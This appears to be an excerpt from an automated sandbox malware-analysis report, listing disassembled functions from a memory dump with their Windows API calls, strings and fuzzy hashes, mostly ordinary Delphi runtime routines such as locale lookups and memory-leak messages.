                                                                                                                                                                                                                                  • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,031DBE72,00000000,031DC08B,?,?,00000000,00000000), ref: 031DA823
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2299586839-0
                                                                                                                                                                                                                                  • Opcode ID: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
                                                                                                                                                                                                                                  • Instruction ID: 7458a3e5cfee9a3db0003bab8b6dd2b37f46931d44fd97ffb60bede04d5a04cc
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5CD05EA630E2602BA214D15A2D84D7B9ADCCECA6A2F44407AFD88CA111D3008C07D671
                                                                                                                                                                                                                                  Function 031D920C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: LocalTime
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 481472006-0
                                                                                                                                                                                                                                  • Opcode ID: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
                                                                                                                                                                                                                                  • Instruction ID: ed820f74862bb9d6549accc9e821ed08fa8336a5c7ca3301b66024f238767030
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4CA0124440492042854073180C0263430409811920FC4878068F8442D0EA1D0520C093
                                                                                                                                                                                                                                  Function 031D20C4 Relevance: .1, Instructions: 94COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                  • Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                                                                                                                                                                  • Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290
                                                                                                                                                                                                                                  Function 031DD294 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 031DD29D
                                                                                                                                                                                                                                    • Part of subcall function 031DD268: GetProcAddress.KERNEL32(00000000), ref: 031DD281
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                  • String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
                                                                                                                                                                                                                                  • API String ID: 1646373207-1918263038
                                                                                                                                                                                                                                  • Opcode ID: f19d751e445f9dc8256eafe53fe088cfdf73d366d0691a0609618ee6fc93afe4
                                                                                                                                                                                                                                  • Instruction ID: 0362ead7005c39d3843723748b80cd5b1e9c4a432aaf2a8a82d0ae1d2915c554
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f19d751e445f9dc8256eafe53fe088cfdf73d366d0691a0609618ee6fc93afe4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9D4178A568930C5B5604FB6D7604426BBEDDE4FA143A0862AF404EFB88EF30FD41C669
                                                                                                                                                                                                                                  Function 031E6ED8 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ole32.dll), ref: 031E6EDE
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 031E6EEF
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 031E6EFF
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 031E6F0F
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 031E6F1F
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 031E6F2F
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 031E6F3F
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressProc$HandleModule
                                                                                                                                                                                                                                  • String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
                                                                                                                                                                                                                                  • API String ID: 667068680-2233174745
                                                                                                                                                                                                                                  • Opcode ID: d91dda5e6a5d59b2d9a85d4066ee518c57b1d8da14bc56421aff89814979d79a
                                                                                                                                                                                                                                  • Instruction ID: f22b607e56c0151e7772a27ff3e8a42a5f911a60e3e5e6e1a64c80861d069cba
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d91dda5e6a5d59b2d9a85d4066ee518c57b1d8da14bc56421aff89814979d79a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DEF0ACE4648780BFEE04FB705C9186E3758E53D9053842D56A81159557E77698408730
                                                                                                                                                                                                                                  Function 031D2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 031D28CE
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Message
                                                                                                                                                                                                                                  • String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
                                                                                                                                                                                                                                  • API String ID: 2030045667-32948583
                                                                                                                                                                                                                                  • Opcode ID: ecb4248d2da0ef90b2486ae4f7747fc5e38a00f74577575f35ac1347a69d7938
                                                                                                                                                                                                                                  • Instruction ID: 65fc99edd982a125c8d13029dcb0e459695211321dd2cf3ee5064b5754b6271c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ecb4248d2da0ef90b2486ae4f7747fc5e38a00f74577575f35ac1347a69d7938
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 02A1D534A043688FDF21EA2CCC84BD8B7F4EB0E250F1449E5E569AB281CB7599C7CB51
                                                                                                                                                                                                                                  Function 031D252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  • The unexpected small block leaks are:, xrefs: 031D2707
                                                                                                                                                                                                                                  • bytes: , xrefs: 031D275D
                                                                                                                                                                                                                                  • , xrefs: 031D2814
                                                                                                                                                                                                                                  • Unexpected Memory Leak, xrefs: 031D28C0
                                                                                                                                                                                                                                  • The sizes of unexpected leaked medium and large blocks are: , xrefs: 031D2849
                                                                                                                                                                                                                                  • An unexpected memory leak has occurred. , xrefs: 031D2690
                                                                                                                                                                                                                                  • 7, xrefs: 031D26A1
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
                                                                                                                                                                                                                                  • API String ID: 0-2723507874
                                                                                                                                                                                                                                  • Opcode ID: 8f82c707f656f26c699dcac17a740089ba72218b79227c0b31647b5881ad0c57
                                                                                                                                                                                                                                  • Instruction ID: b6a9d85b9d925bebe2c73f506fda7bfb39598da77c1759b5f528a1afcaf23e34
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8f82c707f656f26c699dcac17a740089ba72218b79227c0b31647b5881ad0c57
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F371A434A043688FDB21DA2CCC84BD8BBF5EB0E710F1449E5D569AB281DB758AC7CB51
                                                                                                                                                                                                                                  Function 031DBDC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetThreadLocale.KERNEL32(00000000,031DC08B,?,?,00000000,00000000), ref: 031DBDF6
                                                                                                                                                                                                                                    • Part of subcall function 031DA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 031DA7E2
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Locale$InfoThread
                                                                                                                                                                                                                                  • String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
                                                                                                                                                                                                                                  • API String ID: 4232894706-2493093252
                                                                                                                                                                                                                                  • Opcode ID: 787dd4537b0efaf3222bd2f73f2aeeb493768ce7622edbf30e5c2f19dd1fdba0
                                                                                                                                                                                                                                  • Instruction ID: 4cee9f4cae86b89ca2e5d48ff092bdb2082e1a5a7c767fcccf0204bd0a9e7d22
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 787dd4537b0efaf3222bd2f73f2aeeb493768ce7622edbf30e5c2f19dd1fdba0
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5C615038B103589BDB01EBA8E89469F77BADF8E300F509935A501AF245CF39DA49C790
                                                                                                                                                                                                                                  Function 031EAFE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000004), ref: 031EB000
                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 031EB017
                                                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000004), ref: 031EB0AB
                                                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000002), ref: 031EB0B7
                                                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000014), ref: 031EB0CB
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Read$HandleModule
                                                                                                                                                                                                                                  • String ID: KernelBase$LoadLibraryExA
                                                                                                                                                                                                                                  • API String ID: 2226866862-113032527
                                                                                                                                                                                                                                  • Opcode ID: 40e0e76f5b8ee28a245afae1ea74d5587adb7cfb1b60fbfb13e9ddc5a53da599
                                                                                                                                                                                                                                  • Instruction ID: 5f3523f21bb8ed5a45fa4fea0c699314b20a2cfa595a48cb58074f0159861e4b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 40e0e76f5b8ee28a245afae1ea74d5587adb7cfb1b60fbfb13e9ddc5a53da599
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 71316375A4CB05BBDB20DF68CC85F5977B8AF0D765F048154FA24AB2C1D332A940CBA0
                                                                                                                                                                                                                                  Function 031D435C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031D4423,?,?,032567C8,?,?,031FE7A8,031D65B1,031FD30D), ref: 031D4395
                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031D4423,?,?,032567C8,?,?,031FE7A8,031D65B1,031FD30D), ref: 031D439B
                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,031D43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031D4423,?,?,032567C8), ref: 031D43B0
                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,000000F5,031D43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031D4423,?,?), ref: 031D43B6
                                                                                                                                                                                                                                  • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 031D43D4
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FileHandleWrite$Message
                                                                                                                                                                                                                                  • String ID: Error$Runtime error at 00000000
                                                                                                                                                                                                                                  • API String ID: 1570097196-2970929446
                                                                                                                                                                                                                                  • Opcode ID: 173d5f4724696afc66e716a7baac0e432166eee22d2d8270e02e5e9377343e55
                                                                                                                                                                                                                                  • Instruction ID: b02b47588564d7db9e028542760deeea2ca9bf499a21fbd65eef74a343641dde
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 173d5f4724696afc66e716a7baac0e432166eee22d2d8270e02e5e9377343e55
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A9F090696843A4BFFA10F2BAAC4AF59675C474EB22F944325B330A84D58FB441C48366
                                                                                                                                                                                                                                  Function 031DAEC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031DAD3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 031DAD59
                                                                                                                                                                                                                                    • Part of subcall function 031DAD3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031DAD7D
                                                                                                                                                                                                                                    • Part of subcall function 031DAD3C: GetModuleFileNameA.KERNEL32(031D0000,?,00000105), ref: 031DAD98
                                                                                                                                                                                                                                    • Part of subcall function 031DAD3C: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 031DAE2E
                                                                                                                                                                                                                                  • CharToOemA.USER32(?,?), ref: 031DAEFB
                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 031DAF18
                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031DAF1E
                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F4,031DAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031DAF33
                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,000000F4,031DAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031DAF39
                                                                                                                                                                                                                                  • LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 031DAF5B
                                                                                                                                                                                                                                  • MessageBoxA.USER32(00000000,?,?,00002010), ref: 031DAF71
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 185507032-0
                                                                                                                                                                                                                                  • Opcode ID: 6d9f68709613a418cf80f9ad8955ce545115d49cfeebc5a774287ca0b1b9ebb2
                                                                                                                                                                                                                                  • Instruction ID: 57620e16339d06a86573a8f473c1f6179fdd6444fad2534293bf7c81dd6c77d6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6d9f68709613a418cf80f9ad8955ce545115d49cfeebc5a774287ca0b1b9ebb2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1E1118BA504304AFD600F7A4DC85F9F77ACAF4A600F808915B754DE0A4DB75E9448762
                                                                                                                                                                                                                                  Function 031DE58C Relevance: 9.1, APIs: 6, Instructions: 139COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 031DE625
                                                                                                                                                                                                                                  • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 031DE641
                                                                                                                                                                                                                                  • SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 031DE67A
                                                                                                                                                                                                                                  • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 031DE6F7
                                                                                                                                                                                                                                  • SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 031DE710
                                                                                                                                                                                                                                  • VariantCopy.OLEAUT32(?,00000000), ref: 031DE745
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ArraySafe$BoundIndex$CopyCreateVariant
                                                                                                                                                                                                                                  • String ID:
